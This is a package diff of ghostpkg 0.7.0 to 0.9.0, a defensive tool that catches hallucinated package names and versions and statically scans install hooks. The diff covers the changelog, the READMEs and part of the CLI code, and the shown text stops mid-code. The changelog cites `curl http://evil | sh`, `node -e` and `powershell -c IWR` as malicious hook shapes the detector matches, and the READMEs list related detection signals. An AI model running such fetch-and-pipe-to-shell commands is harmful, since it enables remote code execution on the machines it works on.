ghostpkg 0.7.0__tar.gz → 0.9.0__tar.gz

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (35) hide show
  1. {ghostpkg-0.7.0 → ghostpkg-0.9.0}/CHANGELOG.md +63 -1
  2. {ghostpkg-0.7.0 → ghostpkg-0.9.0}/PKG-INFO +28 -5
  3. {ghostpkg-0.7.0 → ghostpkg-0.9.0}/README.en.md +27 -4
  4. {ghostpkg-0.7.0 → ghostpkg-0.9.0}/README.md +19 -4
  5. {ghostpkg-0.7.0 → ghostpkg-0.9.0}/ghostpkg/__init__.py +1 -1
  6. {ghostpkg-0.7.0 → ghostpkg-0.9.0}/ghostpkg/assess.py +50 -1
  7. {ghostpkg-0.7.0 → ghostpkg-0.9.0}/ghostpkg/cache.py +17 -5
  8. {ghostpkg-0.7.0 → ghostpkg-0.9.0}/ghostpkg/cli.py +104 -40
  9. {ghostpkg-0.7.0 → ghostpkg-0.9.0}/ghostpkg/inspection.py +135 -22
  10. {ghostpkg-0.7.0 → ghostpkg-0.9.0}/ghostpkg/manifests.py +210 -42
  11. {ghostpkg-0.7.0 → ghostpkg-0.9.0}/ghostpkg/registries.py +64 -17
  12. {ghostpkg-0.7.0 → ghostpkg-0.9.0}/pyproject.toml +1 -1
  13. {ghostpkg-0.7.0 → ghostpkg-0.9.0}/tests/test_cache.py +20 -9
  14. ghostpkg-0.9.0/tests/test_lockfiles.py +138 -0
  15. {ghostpkg-0.7.0 → ghostpkg-0.9.0}/tests/test_manifests.py +42 -36
  16. {ghostpkg-0.7.0 → ghostpkg-0.9.0}/tests/test_regressions.py +46 -13
  17. ghostpkg-0.9.0/tests/test_versions.py +205 -0
  18. {ghostpkg-0.7.0 → ghostpkg-0.9.0}/.github/ISSUE_TEMPLATE/bug.yml +0 -0
  19. {ghostpkg-0.7.0 → ghostpkg-0.9.0}/.github/ISSUE_TEMPLATE/config.yml +0 -0
  20. {ghostpkg-0.7.0 → ghostpkg-0.9.0}/.github/ISSUE_TEMPLATE/false-positive.yml +0 -0
  21. {ghostpkg-0.7.0 → ghostpkg-0.9.0}/.github/ISSUE_TEMPLATE/missed-package.yml +0 -0
  22. {ghostpkg-0.7.0 → ghostpkg-0.9.0}/.github/workflows/ci.yml +0 -0
  23. {ghostpkg-0.7.0 → ghostpkg-0.9.0}/.gitignore +0 -0
  24. {ghostpkg-0.7.0 → ghostpkg-0.9.0}/2.0 +0 -0
  25. {ghostpkg-0.7.0 → ghostpkg-0.9.0}/CONTRIBUTING.md +0 -0
  26. {ghostpkg-0.7.0 → ghostpkg-0.9.0}/LICENSE +0 -0
  27. {ghostpkg-0.7.0 → ghostpkg-0.9.0}/SECURITY.md +0 -0
  28. {ghostpkg-0.7.0 → ghostpkg-0.9.0}/assets/banner.html +0 -0
  29. {ghostpkg-0.7.0 → ghostpkg-0.9.0}/assets/banner.png +0 -0
  30. {ghostpkg-0.7.0 → ghostpkg-0.9.0}/assets/demo.gif +0 -0
  31. {ghostpkg-0.7.0 → ghostpkg-0.9.0}/assets/make_demo.py +0 -0
  32. {ghostpkg-0.7.0 → ghostpkg-0.9.0}/ghostpkg/__main__.py +0 -0
  33. {ghostpkg-0.7.0 → ghostpkg-0.9.0}/ghostpkg/data.py +0 -0
  34. {ghostpkg-0.7.0 → ghostpkg-0.9.0}/tests/test_assess.py +0 -0
  35. {ghostpkg-0.7.0 → ghostpkg-0.9.0}/tests/test_inspection.py +0 -0
@@ -6,6 +6,66 @@ this project uses [Semantic Versioning](https://semver.org/spec/v2.0.0.html).
6
6
 
7
7
  ## [Unreleased]
8
8
 
9
+ ## [0.9.0] - 2026-09-01
10
+
11
+ ### Added
12
+ - **Lockfiles.** `package-lock.json` (both the v1 nested and v2/v3 `packages`
13
+ layouts), `poetry.lock` and `uv.lock`. This matters more than the manifest
14
+ formats already supported: CI installs from the lockfile, so it holds the
15
+ names that actually get fetched, including transitive ones a manifest never
16
+ mentions. Every entry is version-pinned, so all of them are checkable.
17
+ - **`scan` takes several files at once**, and they may be different
18
+ ecosystems: `ghostpkg scan requirements.txt package.json package-lock.json`.
19
+ A dependency repeated across files costs one lookup, not one per file.
20
+ - **Retry with backoff on rate limiting.** Registries answer 429 and 503 under
21
+ load, and giving up immediately turned a busy moment into a failed run.
22
+ `Retry-After` is honoured when sent, capped at 30 seconds.
23
+ - `--workers N` and `--timeout SECONDS`, which were fixed constants.
24
+
25
+ ### Changed
26
+ - **New exit code `3`: nothing was scanned.** A manifest that yielded no
27
+ dependencies exited `0`, which reads as "checked, all clean" in CI. `0` now
28
+ means checked and clean, `3` means there was nothing to check.
29
+
30
+ ## [0.8.0] - 2026-09-01
31
+
32
+ ### Added
33
+ - **Pinned versions are checked.** `requests==99.99.99` used to come back "ok"
34
+ because only the name was looked up. A version a model invented is the same
35
+ class of mistake as a name it invented, and just as precise to check: the
36
+ registry response already lists every real version, so this costs nothing
37
+ extra. Only exact pins are checked -- `==1.2.3` on PyPI, a bare `1.2.3` on
38
+ npm. Ranges like `>=2.31` or `^4.18.0` may be satisfied by some other
39
+ version, so there is nothing definite to say about them.
40
+ - `ghostpkg check requests==2.31.0` accepts a pin on the command line too.
41
+
42
+ ### Fixed
43
+ - **`--deep` missed essentially every realistic malicious npm hook.** The
44
+ patterns were written for Python and JavaScript *source*, but npm install
45
+ hooks are *shell commands*. `curl http://evil | sh` carries no `curl -` flag
46
+ to match, `node -e` is not `eval(`, and `powershell -c IWR` looks nothing
47
+ like `urllib.request`. All six shapes now match, and nine ordinary hooks
48
+ (`tsc`, `node-gyp rebuild`, `husky install`, …) stay clean.
49
+ - **`"postinstall": "node install.js"` is now followed.** It is the commonest
50
+ shape of all, and the code that matters is in the file it names, which was
51
+ never read.
52
+ - **`--deep` no longer passes a package it could not inspect.** A package with
53
+ no source archive, or one larger than the size limit, was silently treated
54
+ like a clean result -- so padding an archive was a way to switch `--deep` off
55
+ from the outside. It now says so and warns.
56
+ - **A negative result is never cached.** Caching it for an hour seemed safe
57
+ until a real case appeared: PyPI's RSS announces a package a moment before
58
+ its JSON API serves it, so a lookup 404s, and a legitimately published
59
+ package was then reported as non-existent for the rest of the hour. A stale
60
+ block is the worst failure this tool has. Positive results are still cached.
61
+ - **The reported nearest name is deterministic.** Iterating a frozenset has no
62
+ defined order, so `cjson` came back as `ujson` or `ijson` depending on
63
+ `PYTHONHASHSEED`.
64
+
65
+ ### Changed
66
+ - The parser now carries each dependency's version specifier and line number
67
+ rather than the bare name.
68
+
9
69
  ## [0.7.0] - 2026-09-01
10
70
 
11
71
  A correctness release. Several of these were **silent** failures -- the tool
@@ -244,7 +304,9 @@ First release.
244
304
  - No corpus of hallucinated package names is shipped, following the decision of
245
305
  the USENIX'25 authors not to publish theirs.
246
306
 
247
- [Unreleased]: https://github.com/M1rwana12/ghostpkg/compare/v0.7.0...HEAD
307
+ [Unreleased]: https://github.com/M1rwana12/ghostpkg/compare/v0.9.0...HEAD
308
+ [0.9.0]: https://github.com/M1rwana12/ghostpkg/releases/tag/v0.9.0
309
+ [0.8.0]: https://github.com/M1rwana12/ghostpkg/releases/tag/v0.8.0
248
310
  [0.7.0]: https://github.com/M1rwana12/ghostpkg/releases/tag/v0.7.0
249
311
  [0.6.0]: https://github.com/M1rwana12/ghostpkg/releases/tag/v0.6.0
250
312
  [0.5.0]: https://github.com/M1rwana12/ghostpkg/releases/tag/v0.5.0
@@ -1,6 +1,6 @@
1
1
  Metadata-Version: 2.5
2
2
  Name: ghostpkg
3
- Version: 0.7.0
3
+ Version: 0.9.0
4
4
  Summary: Catch package names that do not exist before you install them
5
5
  Project-URL: Homepage, https://github.com/m1rwana12/ghostpkg
6
6
  Project-URL: Issues, https://github.com/m1rwana12/ghostpkg/issues
@@ -151,6 +151,7 @@ Requires Python 3.9+. Tested on Linux, macOS and Windows.
151
151
 
152
152
  ```bash
153
153
  ghostpkg check fastapi-middleware pandas-utils
154
+ ghostpkg check requests==99.99.99 # pins are checked too
154
155
  ghostpkg check react-router-dom-utils -e npm
155
156
  ```
156
157
 
@@ -166,7 +167,20 @@ ghostpkg scan package.json
166
167
  |---|---|
167
168
  | `requirements*.txt` | Every requirement line. Comments, flags, VCS URLs and direct links are skipped. |
168
169
  | `pyproject.toml` | PEP 621 `project.dependencies` and `project.optional-dependencies`, plus Poetry's `tool.poetry` groups. `[build-system] requires` is not included, and the `python` constraint is not treated as a package. |
169
- | `package.json` | `dependencies`, `devDependencies`, `optionalDependencies`. |
170
+ | `package.json` | `dependencies`, `devDependencies`, `optionalDependencies`, `peerDependencies`. |
171
+ | `package-lock.json` | Every locked package, both the v1 nested and v2/v3 `packages` layouts. Workspace links are skipped. |
172
+ | `poetry.lock`, `uv.lock` | Every locked package. |
173
+
174
+ Lockfiles are worth scanning even when you already scan the manifest: CI
175
+ installs from the lockfile, so it holds the names that actually get fetched --
176
+ including transitive ones the manifest never mentions -- and every entry is
177
+ version-pinned, so all of them are checkable.
178
+
179
+ Several files can be scanned in one run, and they may be different ecosystems:
180
+
181
+ ```bash
182
+ ghostpkg scan requirements.txt package.json package-lock.json
183
+ ```
170
184
 
171
185
  Anything else is **refused with an error rather than guessed at**. Guessing is
172
186
  what made an earlier version read `pyproject.toml` with the requirements parser
@@ -182,6 +196,8 @@ and report TOML keys as package names.
182
196
  | `-q`, `--quiet` | Hide packages that passed |
183
197
  | `--no-cache` | Neither read nor write the cache |
184
198
  | `--deep` | Download recently published packages and statically inspect their install scripts |
199
+ | `--workers N` | Parallel lookups (default 8) |
200
+ | `--timeout SECONDS` | Per-request timeout |
185
201
  | `--version` | Print the version |
186
202
 
187
203
  ### Exit codes
@@ -190,7 +206,8 @@ and report TOML keys as package names.
190
206
  |---|---|
191
207
  | `0` | Nothing blocked (warnings may still be present) |
192
208
  | `1` | At least one package blocked |
193
- | `2` | Usage error, unreadable manifest, or the registry was unreachable |
209
+ | `2` | Usage error, unreadable manifest, or a name could not be checked |
210
+ | `3` | Nothing was scanned — no dependencies found. Distinct from "checked and clean". |
194
211
 
195
212
  ### Caching
196
213
 
@@ -234,6 +251,7 @@ $ ghostpkg check somepkgthatisnotreal9911 --json
234
251
  | Signal | Verdict | Why |
235
252
  |---|---|---|
236
253
  | Not in the registry | 🔴 **Blocked** | The name is a ghost. There is nothing to install, and this is exactly what a hallucination looks like. |
254
+ | A pinned version that does not exist | 🔴 **Blocked** | `requests==99.99.99`. A model invents versions as readily as names, and the registry lists every real one, so this is a lookup rather than a heuristic. Only exact pins are checked — a range like `>=2.31` or `^4.18.0` may be satisfied by some other version. |
237
255
  | First published < 90 days ago | 🟡 Warning | Attackers register fast. So do honest authors — hence a warning, not a block. |
238
256
  | First published < 1 year ago | 🟡 Warning | Weaker version of the same signal. |
239
257
  | Only one release | 🟡 Warning | Squats are usually published once and abandoned. |
@@ -365,13 +383,18 @@ ghostpkg scan requirements.txt --deep
365
383
  ```
366
384
 
367
385
  `--deep` downloads the archive **only for recently published packages**, reads
368
- only `setup.py` from it (or the install hooks out of `package.json`), and
369
- pattern-matches the text. **Nothing is ever executed.** Archive and member sizes
386
+ only `setup.py` from it (or the install hooks out of `package.json`, plus any
387
+ script those hooks name), and pattern-matches the text. npm hooks are matched
388
+ against shell-command patterns rather than source-code ones, because that is
389
+ what they are. If a package cannot be inspected — no source archive, or an
390
+ archive over the size limit — it says so rather than passing quietly. **Nothing is ever executed.** Archive and member sizes
370
391
  are capped, so a decompression bomb cannot exhaust memory.
371
392
 
372
393
  | Signal | What it means |
373
394
  |---|---|
374
395
  | `exfiltration` | Reads environment variables *and* contacts the network |
396
+ | `pipe-to-shell` | Downloads a script and pipes it straight into a shell (npm hooks) |
397
+ | `inline-script` | Runs code passed on the command line, e.g. `node -e` (npm hooks) |
375
398
  | `network` | Makes a network request during install |
376
399
  | `subprocess` | Runs a shell command during install |
377
400
  | `encoded-payload` | Decodes a hidden blob, or carries a large encoded string |
@@ -104,6 +104,7 @@ Requires Python 3.9+. Tested on Linux, macOS and Windows.
104
104
 
105
105
  ```bash
106
106
  ghostpkg check fastapi-middleware pandas-utils
107
+ ghostpkg check requests==99.99.99 # pins are checked too
107
108
  ghostpkg check react-router-dom-utils -e npm
108
109
  ```
109
110
 
@@ -119,7 +120,20 @@ ghostpkg scan package.json
119
120
  |---|---|
120
121
  | `requirements*.txt` | Every requirement line. Comments, flags, VCS URLs and direct links are skipped. |
121
122
  | `pyproject.toml` | PEP 621 `project.dependencies` and `project.optional-dependencies`, plus Poetry's `tool.poetry` groups. `[build-system] requires` is not included, and the `python` constraint is not treated as a package. |
122
- | `package.json` | `dependencies`, `devDependencies`, `optionalDependencies`. |
123
+ | `package.json` | `dependencies`, `devDependencies`, `optionalDependencies`, `peerDependencies`. |
124
+ | `package-lock.json` | Every locked package, both the v1 nested and v2/v3 `packages` layouts. Workspace links are skipped. |
125
+ | `poetry.lock`, `uv.lock` | Every locked package. |
126
+
127
+ Lockfiles are worth scanning even when you already scan the manifest: CI
128
+ installs from the lockfile, so it holds the names that actually get fetched --
129
+ including transitive ones the manifest never mentions -- and every entry is
130
+ version-pinned, so all of them are checkable.
131
+
132
+ Several files can be scanned in one run, and they may be different ecosystems:
133
+
134
+ ```bash
135
+ ghostpkg scan requirements.txt package.json package-lock.json
136
+ ```
123
137
 
124
138
  Anything else is **refused with an error rather than guessed at**. Guessing is
125
139
  what made an earlier version read `pyproject.toml` with the requirements parser
@@ -135,6 +149,8 @@ and report TOML keys as package names.
135
149
  | `-q`, `--quiet` | Hide packages that passed |
136
150
  | `--no-cache` | Neither read nor write the cache |
137
151
  | `--deep` | Download recently published packages and statically inspect their install scripts |
152
+ | `--workers N` | Parallel lookups (default 8) |
153
+ | `--timeout SECONDS` | Per-request timeout |
138
154
  | `--version` | Print the version |
139
155
 
140
156
  ### Exit codes
@@ -143,7 +159,8 @@ and report TOML keys as package names.
143
159
  |---|---|
144
160
  | `0` | Nothing blocked (warnings may still be present) |
145
161
  | `1` | At least one package blocked |
146
- | `2` | Usage error, unreadable manifest, or the registry was unreachable |
162
+ | `2` | Usage error, unreadable manifest, or a name could not be checked |
163
+ | `3` | Nothing was scanned — no dependencies found. Distinct from "checked and clean". |
147
164
 
148
165
  ### Caching
149
166
 
@@ -187,6 +204,7 @@ $ ghostpkg check somepkgthatisnotreal9911 --json
187
204
  | Signal | Verdict | Why |
188
205
  |---|---|---|
189
206
  | Not in the registry | 🔴 **Blocked** | The name is a ghost. There is nothing to install, and this is exactly what a hallucination looks like. |
207
+ | A pinned version that does not exist | 🔴 **Blocked** | `requests==99.99.99`. A model invents versions as readily as names, and the registry lists every real one, so this is a lookup rather than a heuristic. Only exact pins are checked — a range like `>=2.31` or `^4.18.0` may be satisfied by some other version. |
190
208
  | First published < 90 days ago | 🟡 Warning | Attackers register fast. So do honest authors — hence a warning, not a block. |
191
209
  | First published < 1 year ago | 🟡 Warning | Weaker version of the same signal. |
192
210
  | Only one release | 🟡 Warning | Squats are usually published once and abandoned. |
@@ -318,13 +336,18 @@ ghostpkg scan requirements.txt --deep
318
336
  ```
319
337
 
320
338
  `--deep` downloads the archive **only for recently published packages**, reads
321
- only `setup.py` from it (or the install hooks out of `package.json`), and
322
- pattern-matches the text. **Nothing is ever executed.** Archive and member sizes
339
+ only `setup.py` from it (or the install hooks out of `package.json`, plus any
340
+ script those hooks name), and pattern-matches the text. npm hooks are matched
341
+ against shell-command patterns rather than source-code ones, because that is
342
+ what they are. If a package cannot be inspected — no source archive, or an
343
+ archive over the size limit — it says so rather than passing quietly. **Nothing is ever executed.** Archive and member sizes
323
344
  are capped, so a decompression bomb cannot exhaust memory.
324
345
 
325
346
  | Signal | What it means |
326
347
  |---|---|
327
348
  | `exfiltration` | Reads environment variables *and* contacts the network |
349
+ | `pipe-to-shell` | Downloads a script and pipes it straight into a shell (npm hooks) |
350
+ | `inline-script` | Runs code passed on the command line, e.g. `node -e` (npm hooks) |
328
351
  | `network` | Makes a network request during install |
329
352
  | `subprocess` | Runs a shell command during install |
330
353
  | `encoded-payload` | Decodes a hidden blob, or carries a large encoded string |
@@ -73,8 +73,8 @@ pipx install ghostpkg # ізольовано, глобальна ко
73
73
  ## Використання
74
74
 
75
75
  ```bash
76
- # перевірити конкретні назви
77
- ghostpkg check fastapi-middleware pandas-utils
76
+ # перевірити конкретні назви (можна із закріпленою версією)
77
+ ghostpkg check fastapi-middleware requests==99.99.99
78
78
 
79
79
  # перевірити назву в npm
80
80
  ghostpkg check react-router-dom-utils -e npm
@@ -104,9 +104,23 @@ ghostpkg clear-cache
104
104
  | `-q`, `--quiet` | Ховає пакети, які пройшли перевірку |
105
105
  | `--no-cache` | Не читати й не писати кеш |
106
106
  | `--deep` | Завантажити свіжі пакети й статично перевірити їхні скрипти встановлення |
107
+ | `--workers N` | Скільки запитів паралельно (типово 8) |
108
+ | `--timeout SECONDS` | Тайм-аут на запит |
107
109
 
108
- `scan` розпізнає `requirements*.txt`, `pyproject.toml` (PEP 621 і Poetry)
109
- та `package.json`. Невідомий формат він **відхиляє з помилкою, а не вгадує**.
110
+ `scan` розпізнає `requirements*.txt`, `pyproject.toml` (PEP 621, PEP 735 і Poetry),
111
+ `package.json`, а також **lock-файли**: `package-lock.json`, `poetry.lock`, `uv.lock`.
112
+ Невідомий формат він **відхиляє з помилкою, а не вгадує**.
113
+
114
+ Lock-файли варто перевіряти навіть якщо ви вже перевіряєте маніфест: **CI
115
+ встановлює саме з них**, тож там лежать імена, які справді завантажуються —
116
+ включно з транзитивними, яких у маніфесті немає. І кожен запис має точну версію,
117
+ отже перевіряється повністю.
118
+
119
+ Можна передати кілька файлів одразу, навіть із різних екосистем:
120
+
121
+ ```bash
122
+ ghostpkg scan requirements.txt package.json package-lock.json
123
+ ```
110
124
 
111
125
  ---
112
126
 
@@ -115,6 +129,7 @@ ghostpkg clear-cache
115
129
  | Сигнал | Вердикт |
116
130
  |---|---|
117
131
  | Немає в реєстрі | 🔴 **Заблоковано.** Назва — привид, встановлювати нічого. |
132
+ | Закріплена версія не існує (`requests==99.99.99`) | 🔴 **Заблоковано.** Вигадана версія — той самий клас помилки, що й вигадана назва. Діапазони (`>=2.31`, `^4.18`) не перевіряються: їх може задовольнити інша версія. |
118
133
  | Опубліковано днями тому | 🟡 Попередження. Зловмисники реєструють швидко — але й чесні автори теж. |
119
134
  | Лише один реліз | 🟡 Попередження. |
120
135
  | Немає посилання на репозиторій | 🟡 Попередження. |
@@ -1,6 +1,6 @@
1
1
  """ghostpkg -- catch package names that do not exist before you install them."""
2
2
 
3
- __version__ = "0.7.0"
3
+ __version__ = "0.9.0"
4
4
 
5
5
  from .assess import Finding, Verdict, assess
6
6
  from .registries import PackageFacts, RegistryError, fetch
@@ -15,6 +15,7 @@ that installs new packages.
15
15
 
16
16
  from __future__ import annotations
17
17
 
18
+ import re
18
19
  from dataclasses import dataclass, field
19
20
  from enum import Enum
20
21
 
@@ -24,6 +25,25 @@ from .registries import PackageFacts
24
25
  YOUNG_DAYS = 90
25
26
  NEW_DAYS = 365
26
27
 
28
+ # An exact pin, and only an exact pin. `>=`, `^`, `~` and wildcards describe a
29
+ # range that the registry may satisfy with some other version, so there is
30
+ # nothing definite to check. `==1.2.3` either exists or it does not.
31
+ PYPI_PIN = re.compile(r"^\s*==\s*([A-Za-z0-9][A-Za-z0-9.\-+!]*)\s*$")
32
+ NPM_PIN = re.compile(r"^\s*v?(\d+\.\d+\.\d+(?:[-+][A-Za-z0-9.\-]+)?)\s*$")
33
+
34
+
35
+ def exact_pin(specifier: str | None, ecosystem: str) -> str | None:
36
+ """The single version a specifier demands, if it demands exactly one."""
37
+ if not specifier:
38
+ return None
39
+ pattern = NPM_PIN if ecosystem == "npm" else PYPI_PIN
40
+ match = pattern.match(specifier)
41
+ if not match:
42
+ return None
43
+ version = match.group(1)
44
+ # `==1.2.*` is a range wearing a pin's clothes.
45
+ return None if "*" in version else version
46
+
27
47
 
28
48
  class Verdict(str, Enum):
29
49
  OK = "OK"
@@ -88,6 +108,15 @@ def edit_distance(left: str, right: str, cutoff: int = 3) -> int:
88
108
 
89
109
  POPULAR: dict[str, frozenset[str]] = {"pypi": TOP_PYPI, "npm": TOP_NPM}
90
110
 
111
+ # Iterating a frozenset has no defined order, so with several candidates at the
112
+ # same distance the reported neighbour changed between runs -- `cjson` came back
113
+ # as `ujson` or `ijson` depending on PYTHONHASHSEED. The verdict was stable and
114
+ # only the explanation moved, but unreproducible output is a poor look on a
115
+ # security tool. Membership tests still use the sets above.
116
+ POPULAR_ORDERED: dict[str, tuple[str, ...]] = {
117
+ ecosystem: tuple(sorted(names)) for ecosystem, names in POPULAR.items()
118
+ }
119
+
91
120
  MIN_COMPARABLE_LENGTH = 5
92
121
 
93
122
 
@@ -131,7 +160,7 @@ def nearest_popular(name: str, ecosystem: str = "pypi") -> tuple[str, int] | Non
131
160
 
132
161
  budget = _typo_budget(target)
133
162
  best: tuple[str, int] | None = None
134
- for candidate in popular:
163
+ for candidate in POPULAR_ORDERED[ecosystem]:
135
164
  if abs(len(candidate) - len(target)) > budget:
136
165
  continue
137
166
  distance = edit_distance(target, candidate, cutoff=budget)
@@ -146,6 +175,7 @@ def assess(
146
175
  facts: PackageFacts,
147
176
  strict: bool = False,
148
177
  signals: "list | None" = None,
178
+ specifier: str | None = None,
149
179
  ) -> Finding:
150
180
  """Turn registry facts, and optionally --deep install-script signals, into
151
181
  a verdict.
@@ -171,6 +201,25 @@ def assess(
171
201
  facts=facts,
172
202
  )
173
203
 
204
+ # A pinned version that does not exist is the same class of mistake as a
205
+ # name that does not exist, and just as precise: the registry lists every
206
+ # real version, so this is a lookup, not a heuristic. It blocks for the
207
+ # same reason non-existence does.
208
+ pin = exact_pin(specifier, facts.ecosystem)
209
+ if pin is not None and facts.has_version(pin) is False:
210
+ return Finding(
211
+ name=facts.name,
212
+ ecosystem=facts.ecosystem,
213
+ verdict=Verdict.BLOCK,
214
+ reasons=[
215
+ f"version {pin} does not exist "
216
+ f"(latest is {facts.latest_version})"
217
+ if facts.latest_version
218
+ else f"version {pin} does not exist"
219
+ ],
220
+ facts=facts,
221
+ )
222
+
174
223
  reasons: list[str] = []
175
224
 
176
225
  if facts.age_days is not None:
@@ -4,10 +4,19 @@ Scanning a manifest costs one request per dependency, every time. A 200-line
4
4
  requirements.txt in CI is 200 requests on every run, which is slow for the user
5
5
  and rude to the registry.
6
6
 
7
- Time-to-live depends on what was cached, and the important case is the negative
8
- one. A name that does not exist today can be registered tomorrow -- that is the
9
- entire attack this tool exists to catch -- so "does not exist" is held only
10
- briefly. Established packages change slowly and are held far longer.
7
+ **"Does not exist" is never cached.** That answer is the only one that blocks,
8
+ so it must always be fresh. Caching it briefly seemed safe until a real case
9
+ turned up: PyPI's RSS feed announces a package a moment before its JSON API
10
+ serves it, so a lookup lands on a 404, and a legitimately published package
11
+ was then reported as non-existent for the rest of the hour. A stale block is
12
+ the worst failure this tool has, and a missing name is rare enough in a real
13
+ manifest that re-checking costs almost nothing.
14
+
15
+ The reverse direction argues the same way: a name that is free right now can be
16
+ registered at any moment, and that is the entire attack. Either way, the
17
+ blocking signal is the one that must not come from a cache.
18
+
19
+ Positive answers are cached, since an established package changes slowly.
11
20
 
12
21
  Cache failures are never fatal. An unwritable or corrupt cache degrades to no
13
22
  cache at all rather than breaking a build.
@@ -29,7 +38,7 @@ from .registries import PackageFacts
29
38
 
30
39
  SCHEMA = 1
31
40
 
32
- TTL_MISSING = 60 * 60 # 1 hour -- a free name can be taken any time
41
+ TTL_MISSING = 0 # never cached -- see the module docstring
33
42
  TTL_YOUNG = 6 * 60 * 60 # 6 hours -- facts still moving
34
43
  TTL_ESTABLISHED = 24 * 60 * 60 # 1 day -- changes slowly
35
44
 
@@ -149,6 +158,9 @@ class Cache:
149
158
  def put(self, facts: PackageFacts) -> None:
150
159
  if not self.enabled:
151
160
  return
161
+ # Never store a negative: it is the answer that blocks.
162
+ if not facts.exists:
163
+ return
152
164
  entry = {
153
165
  "at": time.time(),
154
166
  "ttl": ttl_for(facts),
@@ -13,12 +13,16 @@ from . import __version__
13
13
  from .assess import NEW_DAYS, Finding, Verdict, assess
14
14
  from .cache import Cache
15
15
  from .inspection import InspectionError, inspect_package
16
- from .manifests import UnsupportedManifest, load_manifest
16
+ from .manifests import Requirement, UnsupportedManifest, load_manifest, parse_requirements
17
+ from . import registries
17
18
  from .registries import RegistryError, fetch
18
19
 
19
20
  EXIT_OK = 0
20
21
  EXIT_BLOCKED = 1
21
22
  EXIT_ERROR = 2
23
+ #: Nothing was found to check. Distinct from "checked, all clean", because a
24
+ #: manifest we failed to understand used to exit 0 and read as a pass in CI.
25
+ EXIT_NOTHING_SCANNED = 3
22
26
 
23
27
  MAX_WORKERS = 8
24
28
 
@@ -97,13 +101,19 @@ def summarise(findings: list[Finding], palette: Palette) -> None:
97
101
 
98
102
 
99
103
  def evaluate(
100
- names: list[str],
104
+ requirements: "list[Requirement] | list[str]",
101
105
  ecosystem: str,
102
106
  strict: bool,
103
107
  cache: Cache | None = None,
104
108
  deep: bool = False,
109
+ workers: int = MAX_WORKERS,
105
110
  ) -> list[Finding]:
106
- def one(name: str) -> Finding:
111
+ items = [
112
+ r if isinstance(r, Requirement) else Requirement(name=r) for r in requirements
113
+ ]
114
+
115
+ def one(requirement: Requirement) -> Finding:
116
+ name = requirement.name
107
117
  # A failure on one name must not discard the whole scan. It used to:
108
118
  # pool.map re-raised the first exception while iterating, throwing away
109
119
  # every confirmed BLOCK alongside it and skipping the cache write, so
@@ -124,32 +134,47 @@ def evaluate(
124
134
  )
125
135
 
126
136
  signals = None
137
+ not_inspected = None
127
138
  # Only young packages are worth the download: a registered slopsquat is
128
139
  # new by definition, and inspecting everything would make a scan slow
129
140
  # for no gain. A compromised established package is a different threat
130
141
  # and is out of scope -- SECURITY.md says so.
131
- if (
142
+ wanted = (
132
143
  deep
133
144
  and facts.exists
134
- and facts.archive_url
135
145
  and facts.age_days is not None
136
146
  and facts.age_days < NEW_DAYS
137
- ):
147
+ )
148
+ if wanted and not facts.archive_url:
149
+ not_inspected = "no source archive published"
150
+ elif wanted:
138
151
  try:
139
152
  signals = inspect_package(facts.archive_url, ecosystem)
140
- except InspectionError:
141
- signals = None
142
-
143
- return assess(facts, strict=strict, signals=signals)
153
+ except InspectionError as exc:
154
+ not_inspected = str(exc)
144
155
 
145
- # Look each distinct name up once. A manifest can repeat a name, and
146
- # following -r includes makes that more likely.
147
- unique = list(dict.fromkeys(names))
148
- with concurrent.futures.ThreadPoolExecutor(max_workers=MAX_WORKERS) as pool:
149
- results = dict(zip(unique, pool.map(one, unique)))
156
+ finding = assess(
157
+ facts, strict=strict, signals=signals, specifier=requirement.specifier
158
+ )
159
+ # Saying nothing would let "could not inspect" read as "inspected and
160
+ # clean" -- and padding an archive past the size limit would then be a
161
+ # way to switch --deep off from the outside.
162
+ if not_inspected and not finding.is_blocked:
163
+ finding.reasons.append(f"install scripts not inspected: {not_inspected}")
164
+ if finding.verdict is Verdict.OK:
165
+ finding.verdict = Verdict.WARN
166
+ return finding
167
+
168
+ # Look each distinct (name, pin) pair up once. A manifest can repeat a
169
+ # name, and following -r includes makes that more likely.
170
+ unique: dict[tuple[str, str | None], Requirement] = {}
171
+ for item in items:
172
+ unique.setdefault((item.name, item.specifier), item)
173
+ with concurrent.futures.ThreadPoolExecutor(max_workers=max(1, workers)) as pool:
174
+ results = dict(zip(unique, pool.map(one, unique.values())))
150
175
  if cache:
151
176
  cache.save()
152
- return [results[name] for name in names]
177
+ return [results[(item.name, item.specifier)] for item in items]
153
178
 
154
179
 
155
180
  def build_parser() -> argparse.ArgumentParser:
@@ -163,12 +188,17 @@ def build_parser() -> argparse.ArgumentParser:
163
188
  sub = parser.add_subparsers(dest="command", required=True)
164
189
 
165
190
  check = sub.add_parser("check", help="check one or more package names")
166
- check.add_argument("names", nargs="+")
191
+ check.add_argument(
192
+ "names", nargs="+", help="names, optionally pinned: requests==2.31.0"
193
+ )
167
194
  check.add_argument("-e", "--ecosystem", choices=("pypi", "npm"), default="pypi")
168
195
 
169
196
  scan = sub.add_parser("scan", help="check every dependency in a manifest")
170
197
  scan.add_argument(
171
- "path", type=Path, help="requirements*.txt, pyproject.toml or package.json"
198
+ "paths",
199
+ type=Path,
200
+ nargs="+",
201
+ help="one or more manifests or lockfiles; mixed ecosystems are fine",
172
202
  )
173
203
 
174
204
  for command in (check, scan):
@@ -182,6 +212,20 @@ def build_parser() -> argparse.ArgumentParser:
182
212
  command.add_argument(
183
213
  "--no-cache", action="store_true", help="ignore and do not write the cache"
184
214
  )
215
+ command.add_argument(
216
+ "--workers",
217
+ type=int,
218
+ default=MAX_WORKERS,
219
+ metavar="N",
220
+ help=f"parallel lookups (default {MAX_WORKERS})",
221
+ )
222
+ command.add_argument(
223
+ "--timeout",
224
+ type=int,
225
+ default=None,
226
+ metavar="SECONDS",
227
+ help="per-request timeout",
228
+ )
185
229
  command.add_argument(
186
230
  "--deep",
187
231
  action="store_true",
@@ -203,32 +247,52 @@ def main(argv: list[str] | None = None) -> int:
203
247
  print(f"ghostpkg: {'removed ' + str(cache.path) if removed else 'nothing to remove'}")
204
248
  return EXIT_OK
205
249
 
250
+ if args.timeout:
251
+ registries.TIMEOUT = args.timeout
252
+
253
+ # Group by ecosystem so several manifests are looked up together and a
254
+ # dependency repeated across them costs one request, not one per file.
255
+ by_ecosystem: "dict[str, list]" = {}
256
+
206
257
  if args.command == "scan":
207
- if not args.path.exists():
208
- print(f"ghostpkg: no such file: {args.path}", file=sys.stderr)
209
- return EXIT_ERROR
210
- if args.path.is_dir():
211
- print(
212
